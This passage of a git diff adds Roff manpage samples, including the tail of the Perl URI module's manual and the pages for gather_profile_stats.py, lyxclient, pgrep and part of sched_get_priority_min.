+The \f(CW$delim\fR parameter can be passed as \*(L";\*(R" to force the key/value pairs
+to be delimited by \*(L";\*(R" instead of \*(L"&\*(R" in the query string.  This
+practice is often recommended for URLs embedded in \s-1HTML\s0 or \s-1XML\s0
+documents as this avoids the trouble of escaping the \*(L"&\*(R" character.
+You might also set the \f(CW$URI::DEFAULT_QUERY_FORM_DELIMITER\fR variable to
+\&\*(L";\*(R" for the same global effect.
+.Sp
+The \f(CW\*(C`URI::QueryParam\*(C'\fR module can be loaded to add further methods to
+manipulate the form of a \s-1URI.\s0  See URI::QueryParam for details.
+.ie n .IP "$uri\->query_keywords" 4
+.el .IP "\f(CW$uri\fR\->query_keywords" 4
+.IX Item "$uri->query_keywords"
+.PD 0
+.ie n .IP "$uri\->query_keywords( $keywords, ... )" 4
+.el .IP "\f(CW$uri\fR\->query_keywords( \f(CW$keywords\fR, ... )" 4
+.IX Item "$uri->query_keywords( $keywords, ... )"
+.ie n .IP "$uri\->query_keywords( \e@keywords )" 4
+.el .IP "\f(CW$uri\fR\->query_keywords( \e@keywords )" 4
+.IX Item "$uri->query_keywords( @keywords )"
+.PD
+Sets and returns query components that use the
+keywords separated by \*(L"+\*(R" format.
+.Sp
+The keywords can be set either by passing separate keywords directly
+or by passing a reference to an array of keywords.  Passing an empty
+array removes the query component, whereas passing no arguments at
+all leaves the component unchanged.  The old value is always returned
+as a list of separate words.
+.SH "SERVER METHODS"
+.IX Header "SERVER METHODS"
+For schemes where the \fIauthority\fR component denotes an Internet host,
+the following methods are available in addition to the generic
+methods.
+.ie n .IP "$uri\->userinfo" 4
+.el .IP "\f(CW$uri\fR\->userinfo" 4
+.IX Item "$uri->userinfo"
+.PD 0
+.ie n .IP "$uri\->userinfo( $new_userinfo )" 4
+.el .IP "\f(CW$uri\fR\->userinfo( \f(CW$new_userinfo\fR )" 4
+.IX Item "$uri->userinfo( $new_userinfo )"
+.PD
+Sets and returns the escaped userinfo part of the
+authority component.
+.Sp
+For some schemes this is a user name and a password separated by
+a colon.  This practice is not recommended. Embedding passwords in
+clear text (such as \s-1URI\s0) has proven to be a security risk in almost
+every case where it has been used.
+.ie n .IP "$uri\->host" 4
+.el .IP "\f(CW$uri\fR\->host" 4
+.IX Item "$uri->host"
+.PD 0
+.ie n .IP "$uri\->host( $new_host )" 4
+.el .IP "\f(CW$uri\fR\->host( \f(CW$new_host\fR )" 4
+.IX Item "$uri->host( $new_host )"
+.PD
+Sets and returns the unescaped hostname.
+.Sp
+If the \f(CW$new_host\fR string ends with a colon and a number, then this
+number also sets the port.
+.Sp
+For IPv6 addresses the brackets around the raw address is removed in the return
+value from \f(CW$uri\fR\->host.  When setting the host attribute to an IPv6 address you
+can use a raw address or one enclosed in brackets.  The address needs to be
+enclosed in brackets if you want to pass in a new port value as well.
+.ie n .IP "$uri\->ihost" 4
+.el .IP "\f(CW$uri\fR\->ihost" 4
+.IX Item "$uri->ihost"
+Returns the host in Unicode form.  Any \s-1IDNA\s0 A\-labels are turned into U\-labels.
+.ie n .IP "$uri\->port" 4
+.el .IP "\f(CW$uri\fR\->port" 4
+.IX Item "$uri->port"
+.PD 0
+.ie n .IP "$uri\->port( $new_port )" 4
+.el .IP "\f(CW$uri\fR\->port( \f(CW$new_port\fR )" 4
+.IX Item "$uri->port( $new_port )"
+.PD
+Sets and returns the port.  The port is a simple integer
+that should be greater than 0.
+.Sp
+If a port is not specified explicitly in the \s-1URI,\s0 then the \s-1URI\s0 scheme's default port
+is returned. If you don't want the default port
+substituted, then you can use the \f(CW$uri\fR\->_port method instead.
+.ie n .IP "$uri\->host_port" 4
+.el .IP "\f(CW$uri\fR\->host_port" 4
+.IX Item "$uri->host_port"
+.PD 0
+.ie n .IP "$uri\->host_port( $new_host_port )" 4
+.el .IP "\f(CW$uri\fR\->host_port( \f(CW$new_host_port\fR )" 4
+.IX Item "$uri->host_port( $new_host_port )"
+.PD
+Sets and returns the host and port as a single
+unit.  The returned value includes a port, even if it matches the
+default port.  The host part and the port part are separated by a
+colon: \*(L":\*(R".
+.Sp
+For IPv6 addresses the bracketing is preserved; thus
+\&\s-1URI\-\s0>new(\*(L"http://[::1]/\*(R")\->host_port returns \*(L"[::1]:80\*(R".  Contrast this with
+\&\f(CW$uri\fR\->host which will remove the brackets.
+.ie n .IP "$uri\->default_port" 4
+.el .IP "\f(CW$uri\fR\->default_port" 4
+.IX Item "$uri->default_port"
+Returns the default port of the \s-1URI\s0 scheme to which \f(CW$uri\fR
+belongs.  For \fIhttp\fR this is the number 80, for \fIftp\fR this
+is the number 21, etc.  The default port for a scheme can not be
+changed.
+.SH "SCHEME-SPECIFIC SUPPORT"
+.IX Header "SCHEME-SPECIFIC SUPPORT"
+Scheme-specific support is provided for the following \s-1URI\s0 schemes.  For \f(CW\*(C`URI\*(C'\fR
+objects that do not belong to one of these, you can only use the common and
+generic methods.
+.IP "\fBdata\fR:" 4
+.IX Item "data:"
+The \fIdata\fR \s-1URI\s0 scheme is specified in \s-1RFC 2397.\s0  It allows inclusion
+of small data items as \*(L"immediate\*(R" data, as if it had been included
+externally.
+.Sp
+\&\f(CW\*(C`URI\*(C'\fR objects belonging to the data scheme support the common methods
+and two new methods to access their scheme-specific components:
+\&\f(CW$uri\fR\->media_type and \f(CW$uri\fR\->data.  See URI::data for details.
+.IP "\fBfile\fR:" 4
+.IX Item "file:"
+An old specification of the \fIfile\fR \s-1URI\s0 scheme is found in \s-1RFC 1738.
+A\s0 new \s-1RFC 2396\s0 based specification in not available yet, but file \s-1URI\s0
+references are in common use.
+.Sp
+\&\f(CW\*(C`URI\*(C'\fR objects belonging to the file scheme support the common and
+generic methods.  In addition, they provide two methods for mapping file URIs
+back to local file names; \f(CW$uri\fR\->file and \f(CW$uri\fR\->dir.  See URI::file
+for details.
+.IP "\fBftp\fR:" 4
+.IX Item "ftp:"
+An old specification of the \fIftp\fR \s-1URI\s0 scheme is found in \s-1RFC 1738.\s0  A
+new \s-1RFC 2396\s0 based specification in not available yet, but ftp \s-1URI\s0
+references are in common use.
+.Sp
+\&\f(CW\*(C`URI\*(C'\fR objects belonging to the ftp scheme support the common,
+generic and server methods.  In addition, they provide two methods for
+accessing the userinfo sub-components: \f(CW$uri\fR\->user and \f(CW$uri\fR\->password.
+.IP "\fBgopher\fR:" 4
+.IX Item "gopher:"
+The \fIgopher\fR \s-1URI\s0 scheme is specified in
+<draft\-murali\-url\-gopher\-1996\-12\-04> and will hopefully be available
+as a \s-1RFC 2396\s0 based specification.
+.Sp
+\&\f(CW\*(C`URI\*(C'\fR objects belonging to the gopher scheme support the common,
+generic and server methods. In addition, they support some methods for
+accessing gopher-specific path components: \f(CW$uri\fR\->gopher_type,
+\&\f(CW$uri\fR\->selector, \f(CW$uri\fR\->search, \f(CW$uri\fR\->string.
+.IP "\fBhttp\fR:" 4
+.IX Item "http:"
+The \fIhttp\fR \s-1URI\s0 scheme is specified in \s-1RFC 2616.\s0
+The scheme is used to reference resources hosted by \s-1HTTP\s0 servers.
+.Sp
+\&\f(CW\*(C`URI\*(C'\fR objects belonging to the http scheme support the common,
+generic and server methods.
+.IP "\fBhttps\fR:" 4
+.IX Item "https:"
+The \fIhttps\fR \s-1URI\s0 scheme is a Netscape invention which is commonly
+implemented.  The scheme is used to reference \s-1HTTP\s0 servers through \s-1SSL\s0
+connections.  Its syntax is the same as http, but the default
+port is different.
+.IP "\fBldap\fR:" 4
+.IX Item "ldap:"
+The \fIldap\fR \s-1URI\s0 scheme is specified in \s-1RFC 2255.\s0  \s-1LDAP\s0 is the
+Lightweight Directory Access Protocol.  An ldap \s-1URI\s0 describes an \s-1LDAP\s0
+search operation to perform to retrieve information from an \s-1LDAP\s0
+directory.
+.Sp
+\&\f(CW\*(C`URI\*(C'\fR objects belonging to the ldap scheme support the common,
+generic and server methods as well as ldap-specific methods: \f(CW$uri\fR\->dn,
+\&\f(CW$uri\fR\->attributes, \f(CW$uri\fR\->scope, \f(CW$uri\fR\->filter, \f(CW$uri\fR\->extensions.  See
+URI::ldap for details.
+.IP "\fBldapi\fR:" 4
+.IX Item "ldapi:"
+Like the \fIldap\fR \s-1URI\s0 scheme, but uses a \s-1UNIX\s0 domain socket.  The
+server methods are not supported, and the local socket path is
+available as \f(CW$uri\fR\->un_path.  The \fIldapi\fR scheme is used by the
+OpenLDAP package.  There is no real specification for it, but it is
+mentioned in various OpenLDAP manual pages.
+.IP "\fBldaps\fR:" 4
+.IX Item "ldaps:"
+Like the \fIldap\fR \s-1URI\s0 scheme, but uses an \s-1SSL\s0 connection.  This
+scheme is deprecated, as the preferred way is to use the \fIstart_tls\fR
+mechanism.
+.IP "\fBmailto\fR:" 4
+.IX Item "mailto:"
+The \fImailto\fR \s-1URI\s0 scheme is specified in \s-1RFC 2368.\s0  The scheme was
+originally used to designate the Internet mailing address of an
+individual or service.  It has (in \s-1RFC 2368\s0) been extended to allow
+setting of other mail header fields and the message body.
+.Sp
+\&\f(CW\*(C`URI\*(C'\fR objects belonging to the mailto scheme support the common
+methods and the generic query methods.  In addition, they support the
+following mailto-specific methods: \f(CW$uri\fR\->to, \f(CW$uri\fR\->headers.
+.Sp
+Note that the \*(L"foo@example.com\*(R" part of a mailto is \fInot\fR the
+\&\f(CW\*(C`userinfo\*(C'\fR and \f(CW\*(C`host\*(C'\fR but instead the \f(CW\*(C`path\*(C'\fR.  This allows a
+mailto \s-1URI\s0 to contain multiple comma separated email addresses.
+.IP "\fBmms\fR:" 4
+.IX Item "mms:"
+The \fImms\fR \s-1URL\s0 specification can be found at <http://sdp.ppona.com/>.
+\&\f(CW\*(C`URI\*(C'\fR objects belonging to the mms scheme support the common,
+generic, and server methods, with the exception of userinfo and
+query-related sub-components.
+.IP "\fBnews\fR:" 4
+.IX Item "news:"
+The \fInews\fR, \fInntp\fR and \fIsnews\fR \s-1URI\s0 schemes are specified in
+<draft\-gilman\-news\-url\-01> and will hopefully be available as an \s-1RFC
+2396\s0 based specification soon.
+.Sp
+\&\f(CW\*(C`URI\*(C'\fR objects belonging to the news scheme support the common,
+generic and server methods.  In addition, they provide some methods to
+access the path: \f(CW$uri\fR\->group and \f(CW$uri\fR\->message.
+.IP "\fBnntp\fR:" 4
+.IX Item "nntp:"
+See \fInews\fR scheme.
+.IP "\fBpop\fR:" 4
+.IX Item "pop:"
+The \fIpop\fR \s-1URI\s0 scheme is specified in \s-1RFC 2384.\s0 The scheme is used to
+reference a \s-1POP3\s0 mailbox.
+.Sp
+\&\f(CW\*(C`URI\*(C'\fR objects belonging to the pop scheme support the common, generic
+and server methods.  In addition, they provide two methods to access the
+userinfo components: \f(CW$uri\fR\->user and \f(CW$uri\fR\->auth
+.IP "\fBrlogin\fR:" 4
+.IX Item "rlogin:"
+An old specification of the \fIrlogin\fR \s-1URI\s0 scheme is found in \s-1RFC
+1738.\s0 \f(CW\*(C`URI\*(C'\fR objects belonging to the rlogin scheme support the
+common, generic and server methods.
+.IP "\fBrtsp\fR:" 4
+.IX Item "rtsp:"
+The \fIrtsp\fR \s-1URL\s0 specification can be found in section 3.2 of \s-1RFC 2326.\s0
+\&\f(CW\*(C`URI\*(C'\fR objects belonging to the rtsp scheme support the common,
+generic, and server methods, with the exception of userinfo and
+query-related sub-components.
+.IP "\fBrtspu\fR:" 4
+.IX Item "rtspu:"
+The \fIrtspu\fR \s-1URI\s0 scheme is used to talk to \s-1RTSP\s0 servers over \s-1UDP\s0
+instead of \s-1TCP.\s0  The syntax is the same as rtsp.
+.IP "\fBrsync\fR:" 4
+.IX Item "rsync:"
+Information about rsync is available from <http://rsync.samba.org/>.
+\&\f(CW\*(C`URI\*(C'\fR objects belonging to the rsync scheme support the common,
+generic and server methods.  In addition, they provide methods to
+access the userinfo sub-components: \f(CW$uri\fR\->user and \f(CW$uri\fR\->password.
+.IP "\fBsip\fR:" 4
+.IX Item "sip:"
+The \fIsip\fR \s-1URI\s0 specification is described in sections 19.1 and 25
+of \s-1RFC 3261.\s0  \f(CW\*(C`URI\*(C'\fR objects belonging to the sip scheme support the
+common, generic, and server methods with the exception of path related
+sub-components.  In addition, they provide two methods to get and set
+\&\fIsip\fR parameters: \f(CW$uri\fR\->params_form and \f(CW$uri\fR\->params.
+.IP "\fBsips\fR:" 4
+.IX Item "sips:"
+See \fIsip\fR scheme.  Its syntax is the same as sip, but the default
+port is different.
+.IP "\fBsnews\fR:" 4
+.IX Item "snews:"
+See \fInews\fR scheme.  Its syntax is the same as news, but the default
+port is different.
+.IP "\fBtelnet\fR:" 4
+.IX Item "telnet:"
+An old specification of the \fItelnet\fR \s-1URI\s0 scheme is found in \s-1RFC
+1738.\s0 \f(CW\*(C`URI\*(C'\fR objects belonging to the telnet scheme support the
+common, generic and server methods.
+.IP "\fBtn3270\fR:" 4
+.IX Item "tn3270:"
+These URIs are used like \fItelnet\fR URIs but for connections to \s-1IBM\s0
+mainframes.  \f(CW\*(C`URI\*(C'\fR objects belonging to the tn3270 scheme support the
+common, generic and server methods.
+.IP "\fBssh\fR:" 4
+.IX Item "ssh:"
+Information about ssh is available at <http://www.openssh.com/>.
+\&\f(CW\*(C`URI\*(C'\fR objects belonging to the ssh scheme support the common,
+generic and server methods. In addition, they provide methods to
+access the userinfo sub-components: \f(CW$uri\fR\->user and \f(CW$uri\fR\->password.
+.IP "\fBsftp\fR:" 4
+.IX Item "sftp:"
+\&\f(CW\*(C`URI\*(C'\fR objects belonging to the sftp scheme support the common,
+generic and server methods. In addition, they provide methods to
+access the userinfo sub-components: \f(CW$uri\fR\->user and \f(CW$uri\fR\->password.
+.IP "\fBurn\fR:" 4
+.IX Item "urn:"
+The syntax of Uniform Resource Names is specified in \s-1RFC 2141.\s0  \f(CW\*(C`URI\*(C'\fR
+objects belonging to the urn scheme provide the common methods, and also the
+methods \f(CW$uri\fR\->nid and \f(CW$uri\fR\->nss, which return the Namespace Identifier
+and the Namespace-Specific String respectively.
+.Sp
+The Namespace Identifier basically works like the Scheme identifier of
+URIs, and further divides the \s-1URN\s0 namespace.  Namespace Identifier
+assignments are maintained at
+<http://www.iana.org/assignments/urn\-namespaces>.
+.Sp
+Letter case is not significant for the Namespace Identifier.  It is
+always returned in lower case by the \f(CW$uri\fR\->nid method.  The \f(CW$uri\fR\->_nid
+method can be used if you want it in its original case.
+.IP "\fBurn\fR:\fBisbn\fR:" 4
+.IX Item "urn:isbn:"
+The \f(CW\*(C`urn:isbn:\*(C'\fR namespace contains International Standard Book
+Numbers (ISBNs) and is described in \s-1RFC 3187.\s0  A \f(CW\*(C`URI\*(C'\fR object belonging
+to this namespace has the following extra methods (if the
+Business::ISBN module is available): \f(CW$uri\fR\->isbn,
+\&\f(CW$uri\fR\->isbn_publisher_code, \f(CW$uri\fR\->isbn_group_code (formerly isbn_country_code,
+which is still supported by issues a deprecation warning), \f(CW$uri\fR\->isbn_as_ean.
+.IP "\fBurn\fR:\fBoid\fR:" 4
+.IX Item "urn:oid:"
+The \f(CW\*(C`urn:oid:\*(C'\fR namespace contains Object Identifiers (OIDs) and is
+described in \s-1RFC 3061.\s0  An object identifier consists of sequences of digits
+separated by dots.  A \f(CW\*(C`URI\*(C'\fR object belonging to this namespace has an
+additional method called \f(CW$uri\fR\->oid that can be used to get/set the oid
+value.  In a list context, oid numbers are returned as separate elements.
+.SH "CONFIGURATION VARIABLES"
+.IX Header "CONFIGURATION VARIABLES"
+The following configuration variables influence how the class and its
+methods behave:
+.ie n .IP "$URI::ABS_ALLOW_RELATIVE_SCHEME" 4
+.el .IP "\f(CW$URI::ABS_ALLOW_RELATIVE_SCHEME\fR" 4
+.IX Item "$URI::ABS_ALLOW_RELATIVE_SCHEME"
+Some older parsers used to allow the scheme name to be present in the
+relative \s-1URL\s0 if it was the same as the base \s-1URL\s0 scheme.  \s-1RFC 2396\s0 says
+that this should be avoided, but you can enable this old behaviour by
+setting the \f(CW$URI::ABS_ALLOW_RELATIVE_SCHEME\fR variable to a \s-1TRUE\s0 value.
+The difference is demonstrated by the following examples:
+.Sp
+.Vb 2
+\&  URI\->new("http:foo")\->abs("http://host/a/b")
+\&      ==>  "http:foo"
+\&
+\&  local $URI::ABS_ALLOW_RELATIVE_SCHEME = 1;
+\&  URI\->new("http:foo")\->abs("http://host/a/b")
+\&      ==>  "http:/host/a/foo"
+.Ve
+.ie n .IP "$URI::ABS_REMOTE_LEADING_DOTS" 4
+.el .IP "\f(CW$URI::ABS_REMOTE_LEADING_DOTS\fR" 4
+.IX Item "$URI::ABS_REMOTE_LEADING_DOTS"
+You can also have the \fBabs()\fR method ignore excess \*(L"..\*(R"
+segments in the relative \s-1URI\s0 by setting \f(CW$URI::ABS_REMOTE_LEADING_DOTS\fR
+to a \s-1TRUE\s0 value.  The difference is demonstrated by the following
+examples:
+.Sp
+.Vb 2
+\&  URI\->new("../../../foo")\->abs("http://host/a/b")
+\&      ==> "http://host/../../foo"
+\&
+\&  local $URI::ABS_REMOTE_LEADING_DOTS = 1;
+\&  URI\->new("../../../foo")\->abs("http://host/a/b")
+\&      ==> "http://host/foo"
+.Ve
+.ie n .IP "$URI::DEFAULT_QUERY_FORM_DELIMITER" 4
+.el .IP "\f(CW$URI::DEFAULT_QUERY_FORM_DELIMITER\fR" 4
+.IX Item "$URI::DEFAULT_QUERY_FORM_DELIMITER"
+This value can be set to \*(L";\*(R" to have the query form \f(CW\*(C`key=value\*(C'\fR pairs
+delimited by \*(L";\*(R" instead of \*(L"&\*(R" which is the default.
+.SH "BUGS"
+.IX Header "BUGS"
+There are some things that are not quite right:
+.IP "\(bu" 4
+Using regexp variables like \f(CW$1\fR directly as arguments to the \s-1URI\s0 accessor methods
+does not work too well with current perl implementations.  I would argue
+that this is actually a bug in perl.  The workaround is to quote
+them. Example:
+.Sp
+.Vb 2
+\&   /(...)/ || die;
+\&   $u\->query("$1");
+.Ve
+.IP "\(bu" 4
+The escaping (percent encoding) of chars in the 128 .. 255 range passed to the
+\&\s-1URI\s0 constructor or when setting \s-1URI\s0 parts using the accessor methods depend on
+the state of the internal \s-1UTF8\s0 flag (see utf8::is_utf8) of the string passed.
+If the \s-1UTF8\s0 flag is set the \s-1UTF\-8\s0 encoded version of the character is percent
+encoded.  If the \s-1UTF8\s0 flag isn't set the Latin\-1 version (byte) of the
+character is percent encoded.  This basically exposes the internal encoding of
+Perl strings.
+.SH "PARSING URIs WITH REGEXP"
+.IX Header "PARSING URIs WITH REGEXP"
+As an alternative to this module, the following (official) regular
+expression can be used to decode a \s-1URI:\s0
+.PP
+.Vb 2
+\&  my($scheme, $authority, $path, $query, $fragment) =
+\&  $uri =~ m|(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\e?([^#]*))?(?:#(.*))?|;
+.Ve
+.PP
+The \f(CW\*(C`URI::Split\*(C'\fR module provides the function \fBuri_split()\fR as a
+readable alternative.
+.SH "SEE ALSO"
+.IX Header "SEE ALSO"
+URI::file, URI::WithBase, URI::QueryParam, URI::Escape,
+URI::Split, URI::Heuristic
+.PP
+\&\s-1RFC 2396:\s0 \*(L"Uniform Resource Identifiers (\s-1URI\s0): Generic Syntax\*(R",
+Berners-Lee, Fielding, Masinter, August 1998.
+.PP
+<http://www.iana.org/assignments/uri\-schemes>
+.PP
+<http://www.iana.org/assignments/urn\-namespaces>
+.PP
+<http://www.w3.org/Addressing/>
+.SH "COPYRIGHT"
+.IX Header "COPYRIGHT"
+Copyright 1995\-2009 Gisle Aas.
+.PP
+Copyright 1995 Martijn Koster.
+.PP
+This program is free software; you can redistribute it and/or modify
+it under the same terms as Perl itself.
+.SH "AUTHORS / ACKNOWLEDGMENTS"
+.IX Header "AUTHORS / ACKNOWLEDGMENTS"
+This module is based on the \f(CW\*(C`URI::URL\*(C'\fR module, which in turn was
+(distantly) based on the \f(CW\*(C`wwwurl.pl\*(C'\fR code in the libwww-perl for
+perl4 developed by Roy Fielding, as part of the Arcadia project at the
+University of California, Irvine, with contributions from Brooks
+Cutter.
+.PP
+\&\f(CW\*(C`URI::URL\*(C'\fR was developed by Gisle Aas, Tim Bunce, Roy Fielding and
+Martijn Koster with input from other people on the libwww-perl mailing
+list.
+.PP
+\&\f(CW\*(C`URI\*(C'\fR and related subclasses was developed by Gisle Aas.
diff --git a/samples/Roff Manpage/gather_profile_stats.man b/samples/Roff Manpage/gather_profile_stats.man
new file mode 100644
index 0000000000..fc56ee2291
--- /dev/null
+++ b/samples/Roff Manpage/gather_profile_stats.man	
@@ -0,0 +1,26 @@
+.TH "gather_profile_stats.py" "1" "August 2007" "Django Project" ""
+.SH "NAME"
+gather_profile_stats.py \- Performance analysis tool for the Django Web
+framework
+.SH "SYNOPSIS"
+.B python gather_profile_stats.py
+.I <path>
+
+.SH "DESCRIPTION"
+This utility script aggregates profiling logs generated using Python's
+hotshot profiler. The sole command-line argument is the full path to the
+directory containing the profiling logfiles.
+
+.SH "SEE ALSO"
+Discussion of profiling Django applications on the Django project's wiki:
+.sp
+.I http://www.djangoproject.com/wiki/ProfilingDjango
+
+.SH "AUTHORS/CREDITS"
+Originally developed at World Online in Lawrence, Kansas, USA. Refer to the
+AUTHORS file in the Django distribution for contributors.
+
+.SH "LICENSE"
+New BSD license. For the full license text refer to the LICENSE file in the
+Django distribution.
+
diff --git a/samples/Roff Manpage/lyxclient.1in b/samples/Roff Manpage/lyxclient.1in
new file mode 100644
index 0000000000..f3e9342213
--- /dev/null
+++ b/samples/Roff Manpage/lyxclient.1in	
@@ -0,0 +1,83 @@
+.\" Man page for lyxclient.
+.\" Use the following command to view man page:
+.\"
+.\"  tbl lyxclient.1 | nroff -man | less
+.\"
+.TH LYXCLIENT 1 "@LYX_DATE@" "Version @VERSION@" "lyxclient @VERSION@"
+.SH NAME
+lyxclient@version_suffix@ \- send commands to a running LyX editor
+.\"
+.\" setup
+.de Cr
+.ie n (c)
+.el \(co
+..
+.SH SYNOPSIS
+\fBlyxclient@version_suffix@\fR [ \fIoptions\fR ]
+.br
+.SH DESCRIPTION
+When LyX starts, it creates a unique, per-process local socket in the
+temporary directory through which commands can be sent. That is, it can act
+like a server, accepting connections from clients. \fBlyxclient\fR
+can be used as such client. \fBlyxclient\fR will take care of all
+connection and communication protocol details, leaving you (or your app)
+free to concentrate on what you want to send to LyX.
+.SH SERVER IDENTIFICATION OPTIONS
+\fBlyxclient\fR must first identify to which server (i.e. a running LyX)
+commands are to be sent. The following options are used to specify the server.
+.TP 6
+.TP
+.BI \-p " pid"
+specify the \fIpid\fR of the running LyX process to which \fBlyxclient\fR
+should send commands.
+.TP
+.BI \-a " socket_address"
+specify explicitly which socket special file should be used. These special
+files are located inside lyx_tmpdir<lyx_pid><hash>, in the temporary
+directory. There is one per running LyX process.
+.TP
+.BI \-t " tmp_dir"
+if LyX is configured to use a temporary directory other than /tmp, you must
+inform \fBlyxclient\fR of this.
+.PP
+If neither \fB\-a\fR nor \fB\-p\fR are invoked, \fBlyxclient\fR will search for
+sockets in /tmp (or \fItmp_dir\fR if the \fB\-t\fR option is used) and use
+the first socket to which it can connect.
+This is safe if you are running only one LyX process at any one time.
+.SH COMMAND MODE OPTIONS
+\fBlyxclient\fR can send commands to LyX from both the command-line
+and from standard input.
+LyX commands documentation can be found in LyX Help menu.
+.TP 6
+.BI \-c " command"
+send a single \fIcommand\fR, print LyX information to standard output and exit. LYXCMD prefix is needed in the given command.
+.TP
+.BI \-g " file line"
+this is simply a wrapper for the command 'server\-goto\-file\-row \fIfile\fR \fIline\fR'. It is used by the DVI previewer to elicit inverse DVI search.
+.PP
+If neither \fB\-c\fR nor \fB\-g\fR are used, \fBlyxclient\fR will regard any
+standard input as commands to be sent to LyX, printing LyX's responses to
+standard output. Commands are
+separated by newlines (the '\\n' character). To finish communication
+and terminate the \fBlyxclient\fR process, send the command 'BYE:'.
+.SH MISCELANEOUS OPTIONS
+.TP 6
+.BI \-n " name"
+when starting communication, \fBlyxclient\fR sends an idenfifier
+string to LyX. By default, this string is "PPID>PID", where PPID is
+\fBlyxclient\fR's parent pid and pid is \fBlyxclient\fR's pid.
+Use this option to override this default.
+.TP
+.BI \-h
+print the \fBlyxclient\fR version and summarize its usage.
+.SH ENVIRONMENT
+.TP
+.B LYXSOCKET
+can be used to specify the socket special file that must be used.
+LyX sets this variable.
+It is overridden by the \fB\-a\fR option.
+.SH SEE ALSO
+lyx@version_suffix@(1), xdvi(1), LFUNs.lyx.
+.SH AUTHORS
+Jo\[~a]o Luis M. Assirati <assirati@fma.if.usp.br> is the principal author
+of lyxclient.
diff --git a/samples/Roff Manpage/pgrep.3p b/samples/Roff Manpage/pgrep.3p
new file mode 100644
index 0000000000..30d1e72189
--- /dev/null
+++ b/samples/Roff Manpage/pgrep.3p	
@@ -0,0 +1,100 @@
+.TH PGREP 3P "10 April 1983"
+.UC 4
+.SH NAME
+pgrep \- search files for a pattern
+.SH SYNOPSIS
+.B pgrep
+[\fB\-eilmnw\fR] [\fB\-f \fRmakefile] [\fB\-C \fRcommand] [\fB\-F \fRpatfile]
+[pattern [file ...]]
+.SH DESCRIPTION
+.I Pgrep
+searchs through specified files for lines matching
+.I pattern.
+Normally, each line found is printed to standard output. Alternatively,
+.I command
+can be executed, with arguments that are the names of files containing
+.I pattern.
+.PP
+The names of files can be specified as arguments, or obtained from the `HDRS'
+and `SRCS' macro definitions in a makefile (\fB\-m \fRoption),
+or a combination of both. When
+.I pgrep
+is told to use a makefile and the
+.B \-f
+option is not present, the files `makefile' and `Makefile' are tried in
+order.
+.PP
+.I Pgrep
+uses the
+.I grep
+or
+.I egrep
+commands to search for the pattern.
+.I Grep
+patterns are limited to regular expressions in the style of \fIex\fR(1).
+.I Egrep
+patterns are full regular expressions.
+Care should be taken when using the characters $ * [ | ( ) and \\ in
+.I pattern
+as they are also meaningful to the command shell. It is safest to enclose
+the entire
+.I pattern
+in single quotes.
+.SH OPTIONS
+.IP \fB\-e\fR
+Use
+.I egrep
+instead of
+.I grep.
+.IP "\fB\-f \fImakefile\fR"
+Specify an alternative
+.I makefile
+file name. This option also implies the
+.B \-m
+option.
+.IP \fB\-i\fR
+Ignore case of letters when making comparisons (i.e. upper and lower case
+are considered identical).
+.I Grep
+only.
+.IP \fB\-l\fR
+List the names of files with matching lines. The file names are printed
+one per line.
+.IP \fB\-m\fR
+Obtain the names of files to search from a makefile. If no
+.B \-f
+option is present, the makefiles `makefile' and `Makefile' are tried in order.
+.IP \fB\-n\fR
+Precede each matching line by its relative line number in the file.
+.IP \fB\-w\fR
+Treat
+.I pattern
+as a word (i.e. as if surrounded by `\\<' and `\\>'; see \fIex\fR(1)\|).
+.I Grep
+only.
+.IP "\fB\-C \fIcommand\fR"
+Execute
+.I command
+with arguments that are
+the names of files containing
+.I pattern.
+.IP "\fB\-F \fIpatfile\fR"
+The regular expression is taken from
+.I patfile.
+.I Egrep
+only.
+.SH FILES
+.ta \w'/usr/new/lib/pgrep'u+.5i
+/usr/new/lib/pgrep	Pgrep program.
+.br
+makefile	Default makefile.
+.br
+Makefile	Alternative default makefile.
+.DT
+.SH "SEE ALSO"
+egrep(1), ex(1), grep(1), make(1), mkmf(1P), pgrep(1P), vi(1)
+.SH DIAGNOSTICS
+Exit status is 0 if any matches are found, 1 if none,
+2 for syntax errors or inaccessible files.
+.SH AUTHOR
+Peter J. Nicklin
diff --git a/samples/Roff Manpage/sched_get_priority_min.3x b/samples/Roff Manpage/sched_get_priority_min.3x
new file mode 100644
index 0000000000..320d205a18
--- /dev/null
+++ b/samples/Roff Manpage/sched_get_priority_min.3x	
@@ -0,0 +1,73 @@
+.\" $OpenBSD: sched_get_priority_min.3,v 1.2 2013/06/05 03:44:50 tedu Exp $
+.\"
+.\" Copyright (c) 2010 Federico G. Schwindt <fgsch@openbsd.org>
+.\"
+.\" Permission to use, copy, modify, and distribute this software for
+.\" any purpose with or without fee is hereby granted, provided that
+.\" the above copyright notice and this permission notice appear in all
+.\" copies.
+.\"
+.\" THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL
+.\" WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED
+.\" WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE
+.\" AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL
+.\" DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA
+.\" OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER
+.\" TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+.\" PERFORMANCE OF THIS SOFTWARE.
+.\"
+.Dd $Mdocdate: June 5 2013 $
+.Dt SCHED_GET_PRIORITY_MIN 3
+.Os
+.Sh NAME
+.Nm sched_get_priority_max ,
+.Nm sched_get_priority_min
+.Nd get priority limits
+.Sh SYNOPSIS
+.In sched.h
+.Ft int
+.Fn sched_get_priority_max "int policy"
+.Ft int
+.Fn sched_get_priority_min "int policy"
+.Sh DESCRIPTION
+The
+.Fn sched_get_priority_max
+and
+.Fn sched_get_priority_min
+functions return the maximum and minimum priority values, respectively,
+for the scheduling policy specified by
+.Fa policy .
+.Pp
+The scheduling policy for a thread can either be
+.Dv SCHED_FIFO
+(first in, first out),
+.Dv SCHED_RR
+(round-robin) or
+.Dv SCHED_OTHER .
+.Sh RETURN VALUES
+Upon successful completion,
+.Fn sched_get_priority_max
+and
+.Fn sched_get_priority_min
+return the maximum and minimum priority values, respectively.
+Otherwise, a value of \-1 is returned and errno is set to indicate the error.
+.Sh ERRORS
+The
+.Fn sched_get_priority_max
+and
+.Fn sched_get_priority_min
+functions will fail if:
+.Bl -tag -width Er
+.It Bq Er EINVAL
+Invalid value for
